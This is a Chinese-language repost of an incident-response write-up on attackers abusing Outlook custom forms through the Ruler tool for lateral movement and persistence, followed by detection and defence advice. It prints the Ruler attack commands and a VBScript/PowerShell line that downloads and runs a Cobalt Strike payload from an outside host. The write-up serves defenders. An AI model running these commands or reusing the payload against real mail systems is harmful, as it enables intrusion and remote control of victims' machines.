欢迎光临
我们一直在努力

攻击者利用Outlook Forms 实现横向移动并获取持久化

15009726761 攻击者利用Outlook Forms 实现横向移动并获取持久化

背景

最近,CrowdStrike的安全人员在一起事件调查中发现了攻击者利用Outlook Forms进行横向移动、获得持久化,这种攻击方式不是使用常规的宏函数执行恶意代码,而是使用Outlook中的自定义窗体的功能,一旦用户打开或预览邮件,就允许在目标系统上的执行预先设定好的Visual Basic代码。

这个攻击手法的技术实现曾在SensePost站点被描述过(参见「更多资料」),这里不做过多介绍,本文主要讲述CrowdStrike在应急事件处理过程中观测到的对手在攻击中的活动,其中包括了一个高级的穿越(“walk-through”)操作,文章最后会讲述一下如何检测和预防这类攻击。

walk-through

接到客户的电话后不久,我们进行了取证分析,确认攻击者使用之前获取到的用户凭据,访问了客户单因素身份认证的Outlook Web Access (OWA)发服务器。获得受害者OWA服务器的访问权限后,攻击者创建了一个自定义的Forms消息的邮件,并将其发送给受害者组织内部的一组用户。其他用户查看或预览该邮件时,自定义的Forms将允许攻击者在目标系统上执行预先设定好的代码。

攻击者使用了 Ruler工具(参见「更多资料」)创建自定义的Forms,在这个案例中,攻击者创建的自定义的Outlook Form,内嵌了可执行的Visual Basic代码,能够下载并加载Cobalt Strike(一款自动化渗透测试工具)。这封邮件被接收者触发时,就允许对目标系统执行Shell操作,获取了完全的读、写和执行权限。

使用 Ruler 创建一个自定义 Form的示例命令如下所示,其中,-input 后边的“/test/CobaltStrike.txt”是一个预先编辑好的文件,其中包含的Visual Basic 代码能够下载并安装Cobalt Strike,然后攻击者发送一封邮件触发这个Form。

./ruler –email user@victim.com form add –suffix MaliciousForm –input /test/CobaltStrike.txt –send

  1. 上面的命令会执行下列动作:在目标信箱“user@victim.com”内创建一个自定义的Form,即“MaliciousForm”;
  2. 向“user@victim.com”发送一封电子邮件,发件人的地址也是“ user@victim.com ”,电子邮件包含一个默认的Ruler 主体“Invoice [Confidential]”;
  3. 受害者系统下载并执行Cobalt Strike,攻击者获得Shell权限。

攻击者邮件中内嵌的Payload 包含如下代码,用于下载并执行一个Cobalt Strike payload:

CreateObject(“WScript.Shell”).Run “cmd /c powershell.exe -NoP -sta -w hidden -c IEX ((new-object net.webclient).downloadstring(‘hxxp://:80/updater’))”

攻击者使用这种方式进行横向移动,跳过了网络环境中传统的RDP或网络登录,并且直接跳过了受害者组织不同网段的隔离策略。

此外,只需要将包含有效载荷的电子邮件发送到任何已经创建了恶意的自定义Form的邮箱地址中,恶意代码就会被重新触发。攻击者利用这种方式在环境中保持持久性,所用的命令如下所示:

./ruler –email user@victim.com form send –suffix MaliciousForm

那么,对于组织而言,该如何检测和包含自己呢?

检测方法

防御者可以通过下列方法检测是否受到侵害:

  • 监控OWA IIS日志,检测Ruler user agent的特征,如:是否匹配”ruler”字符串。

攻击者使用Ruler工具访问受害者 OWA 服务器留下的 OWA IIS 日志信息,示例如下:

15009726761 攻击者利用Outlook Forms 实现横向移动并获取持久化

  • 检测windows 注册表项,自定义的Forms的注册表项的值中会包含“Note.”字符串。

比如,下面的示例中,一个自定义的Form的Compose、Read 和Preview的值为“IPM.Note.MaliciousForm”:

15009726761 攻击者利用Outlook Forms 实现横向移动并获取持久化

除了注册表外,文件系统还会记录所有新增的Outlook Form的为止。在我们之前的例子中,新增的Form 位于:““%localappdata%/Microsoft/Forms/”,这个文件夹中将会包含一个名为 “IPM.Note.MaliciousForm” 的目录,其中“MaliciousForm”是自定义的Form 的名称。这个目录总会包含一个“.tmp”文件,在文本的示例中,“.tmp”文件里包含了下载和运行 Cobalt Strike 的Visual Basic代码。

%localappdata%/Microsoft/Forms/IPM.Note*

最后,如果攻击者不更改默认的Ruler 主题,在SMTP流量中将包含默认的“Invoice [Confidential]”,复查一下是否包含。此外,防御者应当在监视程序的报警规则中设置包含默认Ruler主题的 “Invoice [Confidential]”字段的报警。

  • 检测SMTP流量中是否包含“Invoice [Confidential]”字段。

如果攻击者不更改默认的Ruler 主题,在SMTP流量中将包含默认的“Invoice [Confidential]”,复查一下是否包含。此外,防御者应当在监视程序的报警规则中设置包含默认Ruler主题的 “Invoice [Confidential]”字段的报警

防御方法

为了执行此攻击,攻击者需要访问微软Exchange服务器,在这种情况下,如果只需要满足单因素身份验证,攻击就容易成功。因此,安全起见,组织应当尽量使用双因素身份验证来进行电子邮件访问。

此外,组织可以部署先进的终端防护平台,也能够有效的检测和阻止此类攻击

更多资料

Outlook Forms and Shells

https://sensepost.com/blog/2017/outlook-forms-and-shells/

Rules

https://github.com/sensepost/ruler

 

未经允许不得转载:杂术馆 » 攻击者利用Outlook Forms 实现横向移动并获取持久化
分享到: 更多 (0)